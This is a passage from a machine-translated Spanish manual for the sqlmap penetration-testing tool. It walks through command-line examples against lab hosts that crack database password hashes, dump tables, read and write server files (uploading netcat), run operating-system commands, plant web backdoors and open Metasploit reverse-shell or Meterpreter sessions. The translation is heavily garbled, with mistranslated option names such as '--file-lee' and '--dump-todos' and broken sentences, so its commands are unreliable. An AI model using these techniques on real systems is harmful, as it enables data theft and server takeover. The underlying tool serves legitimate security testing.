Qu desea utilizar sufijos comunes contrasea? (Lento!) [S / N] n
[Hh: mm: 48] [INFO] a partir ataque de diccionario (postgres_passwd)
[Hh: mm: 49] [INFO] encontrado: 'testpass' para el usuario: 'testuser'
[Hh: mm: 50] [INFO] encontrado: 'testpass' para el usuario: 'postgres'
de gestin de base de datos de los usuarios del sistema hashes de contraseas:
[*] Postgres [1]:
hash de la contrasea: md5d7d880f96044b72d0bba108ace96d1e4
contrasea de texto: testpass
[*] Usuarioprueba [1]:
hash de la contrasea: md599e5ea7a6f7c3269995cba3927fd0093
contrasea de texto: testpass
No slo enumer sqlmap los usuarios DBMS y sus contraseas, pero tambin
reconoce el formato de hash ser PostgreSQL, le pregunta al usuario si desea o no
probar los hashes contra un archivo de diccionario e identific la contrasea de
texto para el postgres usuario, que es por lo general a lo largo de un DBA del
usuario aparte, usuarioprueba , contrasea.
Esta caracterstica se ha implementado para todos los DBMS en los que es
posible enumerar los hashes de contraseas de los usuarios, incluyendo Oracle y
Microsoft SQL Server pre y post-2005.

Tambin puede proporcionar la opcin -U para especificar el usuario especfico


que desea enumerar y finalmente romper el hash de la contrasea (s). Si
proporciona CU como nombre de usuario que lo considerar como un alias para el
usuario actual y recuperar el hash de la contrasea (es) de este anuncio.

privilegios de usuarios en la lista de sistemas de


gestin de bases de datos
Cambiar: --privileges
Cuando el usuario de la sesin tiene acceso de lectura a la tabla de sistema que
contiene informacin sobre los usuarios DBMS, es posible enumerar los privilegios
de cada usuario del sistema de gestin de base de datos. Por los privilegios,
sqlmap tambin le que son administradores de bases de mostrar.

Tambin puede proporcionar la opcin -U para especificar el usuario que desea


enumerar los privilegios.
Si proporciona CU como nombre de usuario que lo considerar como un alias para
el usuario actual y enumerar los privilegios de este anuncio.
En Microsoft SQL Server, esta funcin mostrar que si cada usuario es un
administrador de base de datos en lugar de la lista de privilegios para todos los
usuarios.

roles de usuarios en la lista de sistemas de gestin


de bases de datos
Cambiar: --roles
Cuando el usuario de la sesin tiene acceso de lectura a la tabla de sistema que
contiene informacin sobre los usuarios DBMS, es posible enumerar las funciones
para cada usuario del sistema de gestin de base de datos.

Tambin puede proporcionar la opcin -U para especificar el usuario que desea


enumerar los privilegios.
Si proporciona CU como nombre de usuario que lo considerar como un alias para
el usuario actual y enumerar los privilegios de este anuncio.
Esta funcin slo est disponible cuando el DBMS es Oracle.

Lista de las bases de datos del sistema de gestin


de base de datos
Cambiar: --dbs
Cuando el usuario de la sesin tiene acceso de lectura a la tabla de sistema que
contiene informacin acerca de las bases de datos disponibles, es posible
enumerar la lista de bases de datos.

Enumerar las tablas de la base de datos


Interruptores y de opcin: --tables , --exclude-sysdbs y -D
Cuando el usuario de la sesin tiene acceso de lectura a la tabla de sistema que
contiene informacin acerca de las tablas de bases de datos ', es posible
enumerar la lista de tablas de bases de datos de un sistema especfico de gestin
de base de datos.

Si usted no proporciona una base de datos especfica con la opcin -D , sqlmap


enumerar las tablas de bases de datos para todos los DBMS.
Tambin puede proporcionar el interruptor --exclude-sysdbs para excluir todas las
bases de datos del sistema.
Tenga en cuenta que en Oracle tiene que proporcionar la TABLESPACE_NAME lugar del
nombre de la base de datos.

Enumerar las columnas de tabla de base de datos


Switch y opciones: --columns , -C , -T y -D
Cuando el usuario de la sesin tiene acceso de lectura a la tabla de sistema que
contiene informacin acerca de las tablas de base de datos, es posible enumerar
la lista de columnas de una tabla de base de datos especfica. sqlmap tambin
enumera el tipo de datos para cada columna.

Esta funcin depende de la opcin -T para especificar el nombre de la tabla y,


opcionalmente, en-D para especificar el nombre de la base de datos. Cuando no
se especifica el nombre de la base de datos, se utiliza el nombre de base de datos
actual. Tambin puede proporcionar la -C opcin para especificar las columnas
Nombre de la tabla como la que se ha proporcionado de estar numerado.
Ejemplo contra un objetivo SQLite:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -
\
-Columnas -D testdb -T usuarios -C nombre
[...]
Base de datos: SQLite_masterdb
Tabla: usuarios
[3 columnas]
--------- --------- + + +
| columna | Tipo |
--------- --------- + + +
| Identificacin | INTEGER |
| nombre | TEXTO |
| apellido | TEXTO |
--------- --------- + + +
Tenga en cuenta que en PostgreSQL tiene que proporcionar pblica o el nombre
de una base de datos del sistema. Esto se debe a que no es posible enumerar las
tablas de otras bases de datos, slo las tablas bajo el esquema de ese usuario de
la aplicacin web est conectado a, que siempre es un alias por el pblico .

Enumerar la base de datos de esquema del sistema


de gestin
Interruptores: --schema y --exclude-sysdbs
El usuario puede recuperar un esquema DBMS mediante el uso de este
interruptor. Esquema listado contendr todas las bases de datos, tablas y
columnas, junto con sus respectivos tipos. En combinacin con --exclude-
sysdbs slo una parte del esquema que contiene las bases de datos no son del
sistema se recuperar y se muestra.
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" -S \
chema - lotes --exclude-sysdbs

[...]
Base de datos: owasp10
Tabla: cuentas
[4 columnas]
+ ------------- + --------- +
| columna | Tipo |
+ ------------- + --------- +
| cid | int (11) |
| mysignature | texto |
| contrasea | texto |
| username | texto |
+ ------------- + --------- +

Base de datos: owasp10


Tabla: blogs_table
[4 columnas]
+ -------------- + ---------- +
| columna | Tipo |
+ -------------- + ---------- +
| fecha | fecha y hora |
| blogger_name | texto |
| cid | int (11) |
| comentario | texto |
+ -------------- + ---------- +

Base de datos: owasp10


Tabla: hitlog
[6 columnas]
+ ---------- + ---------- +
| columna | Tipo |
+ ---------- + ---------- +
| fecha | fecha y hora |
| navegador | texto |
| cid | int (11) |
| nombre de host | texto |
| IP | texto |
| rbitro | texto |
+ ---------- + ---------- +

Base de datos: testdb


Tabla: usuarios
[3 columnas]
+ --------- + --------------- +
| columna | Tipo |
+ --------- + --------------- +
| Identificacin | int (11) |
| nombre | varchar (500) |
| apellido | varchar (1000) |
+ --------- + --------------- +
[...]

Recuperar nmero de entradas para la mesa (s)


Cambiar: --count
En caso de que el usuario slo quiere saber el nmero de entradas en la tabla (s)
antes de vertido al deseado, puede usar este parmetro.

Ejemplo frente a un objetivo de Microsoft SQL Server:


$ Python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"
\
--count -D testdb
[...]
Base de datos: testdb
+ ---------------- + --------- +
| Tabla | entradas |
+ ---------------- + --------- +
| dbo.users | 4 |
| dbo.users_blob | 2 |
+ ---------------- + --------- +

entradas de la tabla de base de datos de volcado


Switch y opciones: --dump , -C , -T , -D , --start , --stop , --first , --last , --pivot-
columna y --donde
Cuando el usuario de la sesin tiene acceso de lectura a la tabla de una base de
datos especfica, es posible volcar las entradas de la tabla.

Esta funcionalidad depende de la opcin -T para especificar el nombre de la tabla


y, opcionalmente, en la opcin -D para especificar el nombre de la base de
datos. Si se proporciona el nombre de la tabla, pero el nombre de la base de datos
no es, se utiliza el nombre de base de datos actual.
Ejemplo contra un objetivo Firebird:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"
\
--dump usuarios -T
[...]
Base de datos: Firebird_masterdb
Tabla: USUARIOS
[4 entradas]
+ ---- + -------- + ------------ +
| Identificacin | NOMBRE | APELLIDOS |
+ ---- + -------- + ------------ +
| 1 | Luther | Blisset |
| 2 | esponjoso | conejito |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+ ---- + -------- + ------------ +
Este conmutador tambin se puede utilizar para volcar entradas de una base de
datos proporcionada todas las tablas. Usted simplemente tiene que proporcionar
sqlmap con el interruptor --dump junto con slo la opcin -D (sin -T ni -C ).
Tambin puede proporcionar una lista separada por comas de las columnas
especficas para volcar con la opcin -C .
sqlmap tambin genera para cada tabla vierten las entradas en un archivo de
formato de texto CSV. Se puede ver la ruta absoluta donde sqlmap crea el archivo,
proporcionando un nivel de detalle mayor que o igual a 1 .

Si desea volcar slo un rango de entradas, a continuacin, puede proporcionar


opciones --starty / o --stop para empezar respectivamente para volcar a partir de
una cierta entrada y detener el volcado a una cierta entrada. Por ejemplo, si desea
volcar slo la primera entrada, proporcionar --stop 1 en la lnea de
comandos. Viceversa, si, por ejemplo, desea volcar slo la segunda y tercera
entrada, proporcionar --start 1 --stop 3 .
Tambin es posible especificar qu solo carcter o conjunto de caracteres para
volcar con opciones --first y --last . Por ejemplo, si desea volcar entradas
columnas 'de la tercera a la quinta carcter, proporcionar --first 3 --last 5 .
Esta caracterstica slo se aplica a las tcnicas de inyeccin SQL ciegos debido a
las tcnicas de inyeccin de consultas basadas en SQL de error y de la Unin el
nmero de peticiones es exactamente el mismo, independientemente de la
duracin de la salida de la entrada de la columna para volcar.
A veces (por ejemplo, para Microsoft SQL Server, Sybase y SAP MaxDB) no es
posible para volcar las filas de la tabla sencilla mediante el uso de m, n
OFFSET mecanismo debido a la falta de parecido. En tales casos sqlmap vuelca el
contenido mediante la determinacin de la ms adecuada de pivote columna (la
que tiene la mayora de los valores nicos) cuyos valores se utilizan ms adelante
para la recuperacin de otros valores de columna. Si es necesario para hacer
cumplir el uso de especial pivote columna debido a la elegida automticamente no
es adecuado (por ejemplo, debido a la falta de resultados de volcado de la tabla)
se puede utilizar la opcin --pivot-columna (por ejemplo --pivot-columna = id ).
En caso de que desee a la restriccin del vertedero a los valores especficos de
las columnas (o rangos), puede utilizar la opcin --donde . Operacin lgica
proporcionada ser utilizada de forma automtica dentro del DONDE clusula. Por
ejemplo, si se utiliza --Si llegara a ocurrir "id => 3" slo filas de la tabla que
tienen valor de la columna ID se recuperarn mayor que 3 (anexando WHERE id>
3 a las consultas de dumping utilizados).
Como se habrn dado cuenta por ahora, sqlmap es flexibles : se puede dejar a
volcar de forma automtica toda la tabla de base de datos o puede ser muy
preciso en el que personajes a volcar, a partir del cual las columnas y qu rango
de entradas.

Volcar todas las entradas de bases de datos de las


tablas
Interruptores: --dump-todos y --exclude-sysdbs
Es posible volcar todas las entradas de bases de datos mesas a la vez que el
usuario de la sesin tiene acceso de lectura en.

Tambin puede proporcionar el interruptor --exclude-sysdbs para excluir todas las


bases de datos del sistema. En ese caso slo se volcar sqlmap entradas de las
tablas de bases de datos de los usuarios.
Tenga en cuenta que en Microsoft SQL Server el maestro de base de datos no se
considera una base de datos del sistema debido a que algunos administradores de
bases utilizan como base de datos 'a los usuarios.

Bsqueda de columnas, tablas o bases de datos


Switch y opciones: --search , -C , -T , -D
Este interruptor le permite buscar nombres de bases de datos especficas,
tablas especficas a travs de todas las bases de datos o columnas
especficas a travs de las tablas de las bases de datos ' .
Esto es til, por ejemplo, para identificar las tablas que contienen las credenciales
de aplicacin personalizados donde los nombres de las columnas relevantes
'contienen cadena como nombre ypase .

Interruptor --search necesita ser utilizado en conjuncin con una de las siguientes
opciones de soporte:

-C Siguiendo una lista de nombres de columnas separadas por comas para buscar
a travs de todo el sistema de gestin de base de datos.
-T Siguiendo una lista de nombres de tabla separados por comas para buscar a
travs de todo el sistema de gestin de base de datos.
-D Siguiendo una lista de nombres de bases de datos separados por comas para
buscar a travs del sistema de gestin de base de datos.

Ejecutar instruccin SQL personalizada


Opcin y el interruptor: --sql-consulta y --sql-shell
La consulta SQL y las funciones de shell SQL permiten ejecutar comandos SQL
arbitrarios en el sistema de gestin de base de datos. sqlmap disecciona de forma
automtica la declaracin proporcionada, determina qu tcnica es apropiado
utilizar para inyectar y cmo empacar la carga til de SQL en consecuencia.

Si la consulta es un SELECT declaracin, sqlmap recuperar su salida. De lo


contrario, se ejecutar la consulta a travs de la tcnica de inyeccin de consulta
SQL apilados si la aplicacin web es compatible con mltiples declaraciones sobre
el sistema de gestin de base de datos back-end. Ten en cuenta que algunas
tecnologas de aplicaciones Web no admiten consultas apilados sobre los
sistemas especficos de gestin de base de datos. Por ejemplo, PHP no admite
consultas apiladas cuando el back-end DBMS es MySQL, pero lo hace de soporte
cuando el back-end DBMS es PostgreSQL.
Ejemplos contra un objetivo de Microsoft SQL Server 2000:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" - \
sql-query "SELECT" foo "" -v 1

[...]
[Hh: mm: 14] [INFO] ir a buscar salida de la consulta SQL SELECT: 'SELECT' foo
''
[Hh: mm: 14] [INFO] recuperado: foo
SELECT 'foo': 'foo'

$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" - \


sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[Hh: mm: 50] [INFO] ir a buscar salida de la consulta SQL SELECT: 'SELECT' foo
',' bar ''
[Hh: mm: 50] [INFO] la consulta SQL proporcionada tiene ms de un campo. sqlmap
ahora
descomprimirlo en distintas consultas para poder recuperar la salida incluso si
estamos
quedando ciego
[Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (102) + CHAR (111) +
CHAR (111)) AS
VARCHAR (8000)), (CHAR (32)))
[Hh: mm: 50] [INFO] recuperado: foo
[Hh: mm: 50] [DEBUG] realiz 27 consultas en 0 segundos
[Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (98) + CHAR (97) +
CHAR (114)) COMO VA
RCHAR (8000)), (CHAR (32)))
[Hh: mm: 50] [INFO] recuperado: Barra
[Hh: mm: 50] [DEBUG] realiz 27 consultas en 0 segundos
SELECT 'foo', 'bar': 'foo, bar'
Como se puede ver, sqlmap divide la consulta proporcionada en dos
diferentes SELECTdeclaraciones luego recupera la salida para cada consulta
independiente.
Si la consulta se proporciona un SELECT declaracin y contiene una DESDE clusula,
sqlmap le preguntar si dicha declaracin puede devolver mltiples entradas. En
ese caso, la herramienta sabe cmo desembalar la consulta correctamente para
contar el nmero de entradas posibles y recuperar su salida, entrada por entrada.
La opcin del shell SQL le permite ejecutar su propia sentencia de SQL de forma
interactiva, como una consola de SQL conectado al sistema de gestin de base de
datos. Esta caracterstica proporciona la implementacin del tabulador y apoyo la
historia tambin.

Fuerza bruta
Estos interruptores se pueden utilizar para realizar comprobaciones de fuerza
bruta.

nombres de las tablas de fuerza bruta


Cambiar: --common mesas
Hay casos en que los interruptores --tables no se pueden utilizar para recuperar
los nombres de tabla las bases de datos. Estos casos normalmente encajan en
una de las siguientes categoras:

El sistema de gestin de base de datos MySQL es <5,0 ,


donde INFORMATION_SCHEMA no est disponible.
El sistema de gestin de base de datos es Microsoft Access y tabla de
sistema MSysObjectsno es legible - configuracin por defecto.
El usuario de la sesin no tiene privilegios de lectura en contra de la tabla de
sistema almacenar el esquema de las bases de datos.

Si cualquiera de los dos primeros casos se aplican y se present el interruptor --


tables , sqlmap le pedir con una pregunta que recurrir a esta tcnica. Cualquiera
de estos casos se aplican a su situacin, puede sqlmap posiblemente todava
identificar algunas tablas existentes si se proporciona con el interruptor --common-
mesas . sqlmap llevar a cabo un ataque de fuerza bruta con el fin de detectar la
existencia de tablas comunes en todo el DBMS.
La lista de nombres de tabla comunes es txt / common-tables.txt y se puede
editar como desee.
Ejemplo 4.1 contra un objetivo MySQL:
$ Python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo
\
n-mesas -D testdb --banner

[...]
[Hh: mm: 39] [INFO] MySQL prueba
[Hh: mm: 39] [INFO] confirmando MySQL
[Hh: mm: 40] [INFO] el back-end DBMS es MySQL
[Hh: mm: 40] [INFO] bandera ir a buscar
sistema operativo del servidor Web: Windows
La tecnologa de aplicaciones web: PHP 5.3.1, 2.2.14 de Apache
sistema operativo DBMS: Windows
DBMS: MySQL <5.0.0
banner: "4.1.21-comunidad-nt '

[Hh: mm: 40] [INFO] comprobacin de la existencia tabla usando artculos de '/
software / sqlmap / tx
t / common-tables.txt '
[Hh: mm: 40] [INFO] la adicin de palabras que se usan en la pgina web a la
lista de verificacin
Por favor, introduzca el nmero de hilos? [Enter para 1 (actual)] 8
[Hh: mm: 43] [INFO] recuperado: los usuarios

Base de datos: testdb


[1 mesa]
+ ------- +
| usuarios |
+ ------- +

El Bruto nombres de columnas de fuerza


Interruptor: --common-columnas
De acuerdo con las tablas, hay casos en los interruptores --columns no se pueden
utilizar para obtener los nombres de las columnas de las bases de datos
"cuadros". Estos casos normalmente encajan en una de las siguientes categoras:

El sistema de gestin de base de datos MySQL es <5,0 ,


donde INFORMATION_SCHEMA no est disponible.
El sistema de gestin de base de datos Microsoft Access es donde este tipo de
informacin no est disponible dentro de las tablas del sistema.
El usuario de la sesin no tiene privilegios de lectura en contra de la tabla de
sistema almacenar el esquema de las bases de datos.
Si cualquiera de los dos primeros casos se aplican y se present el interruptor --
columns , sqlmap le pedir con una pregunta que recurrir a esta tcnica. Cualquiera
de estos casos se aplican a su situacin, puede sqlmap posiblemente todava
identificar algunas tablas existentes si se proporciona con el interruptor --common-
columnas . sqlmap llevar a cabo un ataque de fuerza bruta con el fin de detectar la
existencia de columnas comunes en todo el DBMS.
La lista de nombres de tabla comunes es txt / common-columns.txt y se puede
editar como desee.

inyeccin de la funcin definida por el


usuario
Estas opciones se pueden usar para crear funciones definidas por el usuario
personalizados.

Inyectar funciones definidas por el usuario


personalizados (UDF)
Switch y opcin: --udf a inyectar y --shared-lib
Usted puede inyectar sus propias funciones definidas por el usuario (UDF)
mediante la compilacin de una biblioteca compartida MySQL o PostgreSQL, DLL
para Windows y objetos compartidos para Linux / Unix, a continuacin,
proporcionar sqlmap con la ruta en la biblioteca compartida se almacena
localmente en su equipo. sqlmap A continuacin, algunas preguntas, cargar la
biblioteca compartida en el sistema de archivos del servidor de base de datos,
crear la funcin (s) definida por el usuario de la misma y, en funcin de sus
opciones, ejecutarlos. Cuando haya terminado de utilizar las UDF inyectados,
sqlmap tambin puede eliminarlos de la base de datos para usted.

Estas tcnicas se detallan en el libro blanco de inyeccin SQL avanzado sistema


operativo para el control total .

Utilice la opcin --udf a inyectar y siga las instrucciones.


Si lo desea, puede especificar la ruta de acceso local de la biblioteca compartida
de sistema de archivos a travs de lnea de comandos tambin mediante el uso
de --shared-lib opcin.Viceversa sqlmap le preguntar por la ruta de acceso en
tiempo de ejecucin.
Esta funcin slo est disponible cuando el sistema de gestin de base de datos
es MySQL o PostgreSQL.

el acceso al sistema de archivos


Leer un archivo de sistema de archivos del
servidor de base de datos
Opcin: --file-lee
Es posible recuperar el contenido de los archivos del sistema de archivos
subyacente cuando el sistema de gestin de base de datos back-end puede ser
MySQL, PostgreSQL o Microsoft SQL Server y el usuario de la sesin tiene los
privilegios necesarios para abusar de funcionalidades especficas de bases de
datos y los puntos dbiles de arquitectura. El archivo especificado puede ser un
texto o un archivo binario. sqlmap manejar adecuadamente.

Estas tcnicas se detallan en el libro blanco de inyeccin SQL avanzado sistema


operativo para el control total .

Ejemplo frente a un objetivo de Microsoft SQL Server 2005 para recuperar un


archivo binario:
$ Python sqlmap.py -u "http: //192.168.136.129/sqlmap/mssql/iis/get_str2.asp nam
\?
e = Luther "--file-leer" C: /example.exe "-v 1

[...]
[Hh: mm: 49] [INFO] el back-end DBMS es Microsoft SQL Server
sistema operativo del servidor Web: Windows 2000
La tecnologa de aplicaciones web: ASP.NET, Microsoft IIS 6.0, ASP
DBMS de back-end: Microsoft SQL Server 2005

[Hh: mm: 50] [INFO] Extrayendo archivo: "C: /example.exe '


[Hh: mm: 50] [INFO] la consulta SQL proporciona rendimientos 3 entradas
C: archivo guardado en /example.exe:
'/software/sqlmap/output/192.168.136.129/files/
C__example.exe '
[...]

$ Ls -l / salida 192.168.136.129 / archivos / C__example.exe


-rw-r - r-- 1 Inquis Inquis 2560 hh 2011-MM-DD: salida mm / 192.168.136.129 /
archivos / C_
_example.exe

$ 192.168.136.129 de escritura de ficheros / archivos / / C__example.exe


salida / 192.168.136.129 / archivos / C__example.exe: PE32 ejecutables para MS
Windows (GUI
) Intel 80386 de 32 bits

Cargar un archivo en el sistema de archivos del


servidor de base de datos
Opciones: --file-escritura y --file-dest
Es posible cargar un archivo local al sistema de archivos del servidor de base de
datos cuando el sistema de gestin de base de datos back-end puede ser MySQL,
PostgreSQL o Microsoft SQL Server y el usuario de la sesin tiene los privilegios
necesarios para abusar de funcionalidades especficas de bases de datos y los
puntos dbiles de arquitectura. El archivo especificado puede ser un texto o un
archivo binario. sqlmap manejar adecuadamente.

Estas tcnicas se detallan en el libro blanco de inyeccin SQL avanzado sistema


operativo para el control total .

Ejemplo contra un objetivo MySQL para cargar un archivo comprimido mediante


UPX-binaria:
archivo $ /software/nc.exe.packed
PE32 ejecutable para MS Windows (consola) Intel 80386 32:
/software/nc.exe.packed
-poco

$ Ls -l /software/nc.exe.packed
Inquis -rwxr-xr-x 1 Inquis 31744 hh 2009-MM-DD: mm /software/nc.exe.packed

$ Python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -


\
-file-escritura "/software/nc.exe.packed" --file-dest "C: /WINDOWS/Temp/nc.exe"
-v 1

[...]
[Hh: mm: 29] [INFO] el back-end DBMS es MySQL
sistema operativo del servidor Web: Windows 2003 2008
La tecnologa de aplicaciones web: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end de DBMS: MySQL> = 5.0.0

[...]
desea la confirmacin de que el archivo 'C: /WINDOWS/Temp/nc.exe' ha sido el
xito
escrito completamente en el sistema de archivos DBMS? [Y / n] y
[Hh: mm: 52] [INFO] recuperada: 31744
[Hh: mm: 52] [INFO] el archivo se ha escrito correctamente y su tamao es de
31744 b
ytes, mismo tamao que el archivo local '/software/nc.exe.packed'

toma de control del sistema operativo


Ejecutar comandos arbitrarios sistema operativo
Opcin y el interruptor: --os-cmd y --os-shell
Es posible ejecutar comandos arbitrarios en el sistema operativo subyacente
del servidor de base de datos cuando el sistema de gestin de base de datos
back-end puede ser MySQL, PostgreSQL o Microsoft SQL Server y el usuario de
la sesin tiene los privilegios necesarios para abusar de funcionalidades
especficas de bases de datos y los puntos dbiles de arquitectura.

En MySQL y PostgreSQL, subidas sqlmap (a travs de la funcionalidad de carga


de archivos se ha explicado anteriormente) una biblioteca compartida (archivo
binario) que contiene dos funciones definidas por el usuario, sys_exec () y sys_eval
() , entonces se crea estas dos funciones en la base de datos y llama a uno de
ellos para ejecutar el comando especificado, segn la eleccin del usuario para
mostrar la salida estndar o no. En Microsoft SQL Server, abusos sqlmap
el xp_cmdshell procedimiento almacenado: si est desactivado (por defecto en
Microsoft SQL Server> = 2005), sqlmap re-habilita y si no existe, sqlmap crea
desde cero.
Cuando el usuario solicita la salida estndar, sqlmap utiliza una de las tcnicas de
inyeccin SQL (enumeracin ciego, dentro de banda o basados en error) para
recuperarlo. A la inversa, si no se requiere la salida estndar, tcnica de inyeccin
SQL consulta apilada se utiliza para ejecutar el comando.

Estas tcnicas se detallan en el libro blanco de inyeccin SQL avanzado sistema


operativo para el control total .

Ejemplo frente a un objetivo de PostgreSQL:


$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" - \
os-cmd Identificacin -v 1

[...]
La tecnologa de aplicaciones web: PHP 5.2.6, 2.2.9 Apache
DBMS PostgreSQL:
[Hh: mm: 12] las huellas dactilares el sistema operativo DBMS [INFO]
[Hh: mm: 12] [INFO] el sistema DBMS de back-end operativo es Linux
[Hh: mm: 12] [INFO] prueba si el usuario actual es DBA
[Hh: mm: 12] [INFO] deteccin de back-end versin DBMS de su bandera
[Hh: mm: 12] Verificando 'sys_eval' ya existe [INFO] UDF
[Hh: mm: 12] comprobar si ya existe [INFO] UDF 'sys_exec'
[Hh: mm: 12] la creacin del archivo UDF [INFO] UDF 'sys_eval' binario
[Hh: mm: 12] [INFO] crear UDF 'sys_exec' desde el archivo UDF binaria
desea recuperar la salida estndar de comandos? [Y / n / a] y
comando de salida estndar: '= 104 (postgres) gid = 106 (postgres) grupos uid =
106 (post
gres) '

[Hh: mm: 19] de limpieza hasta el sistema de gestin de base de datos [INFO]
desea eliminar 'sys_eval' UDF? [Y / n] y
desea eliminar 'sys_exec' UDF? [Y / n] y
[Hh: mm: 23] [INFO] limpieza del sistema de gestin de base de datos termin
[Hh: mm: 23] [ADVERTENCIA] recuerde que los archivos de objetos compartidos UDF
guardan en los archivos sys
tem slo puede ser borrado manualmente
Tambin es posible simular una concha real en el que puede escribir tantos
comandos arbitrarios como desee. La opcin es --os-shell y tiene las mismas
implementacin del tabulador y la historia funcionalidades que --sql-shell tiene.
Donde las consultas apiladas no se ha identificado en la aplicacin web (por
ejemplo, PHP o ASP con sistema de gestin de base de datos back-end siendo
MySQL) y el DBMS es MySQL, todava es posible abusar de la SELECT de la
clusula INTO OUTFILE para crear una puerta trasera web en una carpeta se puede
escribir en el directorio raz de documentos del servidor web y an as obtener la
ejecucin de comandos asumiendo el DBMS de back-end y el servidor web estn
alojados en el mismo servidor. sqlmap apoya esta tcnica y permite que el usuario
proporcione una lista separada por comas de posibles raz del documento
subcarpetas donde intenta cargar el archivo de la tela servidor de ensayo y la
posterior puerta trasera web. Adems, sqlmap tiene sus propios caballos de
diligencia de archivo Web probado y puertas traseras de los siguientes idiomas:

SPID
ASP.NET
JSP
PHP

Fuera de la banda de conexin con estado:


Meterpreter y amigos
Interruptores y opciones: --os-pwn , --os-SMBRelay , --os-BOF , --priv-esc , --msf en
rutas de acceso y --tmp-path
Es posible establecer una conexin TCP con estado fuera de banda entre la
mquina atacante y el servidor de base de datos del sistema operativo
subyacente cuando el sistema de gestin de base de datos back-end est bien
MySQL, PostgreSQL o Microsoft SQL Server y el usuario de la sesin se la
necesita privilegios que abusan de las funcionalidades especficas de bases de
datos y los puntos dbiles de arquitectura. Este canal puede ser un smbolo del
sistema interactivo, una sesin Meterpreter o una sesin de interfaz grfica de
usuario (VNC) a eleccin del usuario.

sqlmap se basa en Metasploit para crear el cdigo shell y ejecuta cuatro tcnicas
diferentes para ejecutarlo en el servidor de base de datos. Estas tcnicas son:

Base de datos de ejecucin en memoria de cdigo shell del Metasploit travs


sqlmap propia funcin definida por el usuario sys_bineval () . Se admite en
MySQL y PostgreSQL - cambiar --os-NMP .
Sube y ejecucin de una de Metasploit servidor de ensayo de carga til
autnomo a travs de sqlmap propia funcin definida por el usuario sys_exec
() de MySQL y PostgreSQL o mediante xp_cmdshell () en Microsoft SQL Server -
cambiar --os-NMP .
Ejecucin de cdigo shell de Metasploit mediante la realizacin de un ataque de
reflexin SMB ( MS08-068 ) con una peticin de ruta UNC desde el servidor de
base de datos a la mquina del atacante donde el Metasploit smb_relay servidor
explotar escuchas. Apoyado cuando se ejecuta sqlmap con privilegios elevados
( UID = 0 ) en Linux / Unix y el DBMS de destino se ejecuta como administrador en
Windows - cambiar --os-SMBRelay .
Base de datos de ejecucin en memoria de cdigo shell del Metasploit mediante la
explotacin de Microsoft SQL Server 2000 y
2005 sp_replwritetovarbin procedimiento almacenado desbordamiento de
bfer basado en heap ( MS09-004 ). sqlmap tiene su propio exploit para
desencadenar la vulnerabilidad con bypass automtico de proteccin de memoria
DEP, pero depende de Metasploit para generar el cdigo shell para ser ejecutado
en la explotacin exitosa - switch --os-BOF .

Estas tcnicas se detallan en el libro blanco de inyeccin SQL avanzado sistema


operativo para el control total y en el conjunto de diapositivas La ampliacin del
control sobre el sistema operativo de la base de datos .

Ejemplo frente a un objetivo de MySQL:


$ Python sqlmap.py -u "http:? //192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx
\
id = 1 "--os-pwn --msf-path / software / Metasploit

[...]
[Hh: mm: 31] [INFO] el back-end DBMS es MySQL
sistema operativo del servidor Web: Windows 2003
La tecnologa de aplicaciones web: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
DBMS MySQL 5.0:
[Hh: mm: 31] las huellas dactilares el sistema operativo DBMS [INFO]
[Hh: mm: 31] [INFO] el sistema operativo DBMS es Windows
cmo se quiere establecer el tnel?
[1] TCP: Metasploit Framework (por defecto)
[2] ICMP: icmpsh - tnel ICMP
>
[Hh: mm: 32] [INFO] prueba si el usuario actual es DBA
[Hh: mm: 32] [INFO] ir a buscar usuario actual
cul es la arquitectura del sistema de gestin de base de datos back-end?
[1] de 32 bits (por defecto)
[2] 64-bit
>
[Hh: mm: 33] Verificando 'sys_bineval' ya existe [INFO] UDF
[Hh: mm: 33] comprobar si ya existe [INFO] UDF 'sys_exec'
[Hh: mm: 33] [INFO] deteccin de back-end versin DBMS de su bandera
[Hh: mm: 33] [INFO] recuperar directorio base de MySQL ruta absoluta
[Hh: mm: 34] la creacin del archivo UDF [INFO] UDF 'sys_bineval' binario
[Hh: mm: 34] [INFO] crear UDF 'sys_exec' desde el archivo UDF binaria
cmo quieres para ejecutar el cdigo shell Metasploit en el und de base de
datos back-end
erlying sistema operativo?
[1] A travs de UDF 'sys_bineval' (forma en la memoria, los anti-forense, por
defecto)
[2] Stand-alone servidor de ensayo de carga til (archivo de forma de sistema)
>
[Hh: mm: 35] [INFO] la creacin de Metasploit Framework cdigo shell de etapas
mltiples
qu tipo de conexin es lo que desea utilizar?
[1] TCP inversa: Conectar de nuevo desde el host de base de datos para esta
mquina (por defecto)
[2] TCP inversa: Intente volver a conectarse desde el host de base de datos para
esta mquina, en
todos los puertos
entre el especificado y 65535
[3] enlazar TCP: Escucha en el host de base de datos para una conexin
>
que es la direccin local? [192.168.136.1]
qu nmero de puerto local es lo que desea utilizar? [60641]
el que la carga til es lo que desea utilizar?
[1] Meterpreter (por defecto)
[2] Shell
[3] VNC
>
[Hh: mm: 40] [INFO] creacin en el progreso hecho ...
[Hh: mm: 43] [INFO] ejecuta la interfaz de lnea de comandos Metasploit
Framework localmente, p
arrendamiento de espera ..

_
| | o
_ _ _ _ _ | _ __, _ | | __ _ | _
/ | / | / | | / | / | / \ _ | / \ _ | / / \ _ | |
| | | _ / | __ / | _ / \ _ / | _ / \ / | __ / | __ / \ __ / | _ / | _ /
/ |
\ |

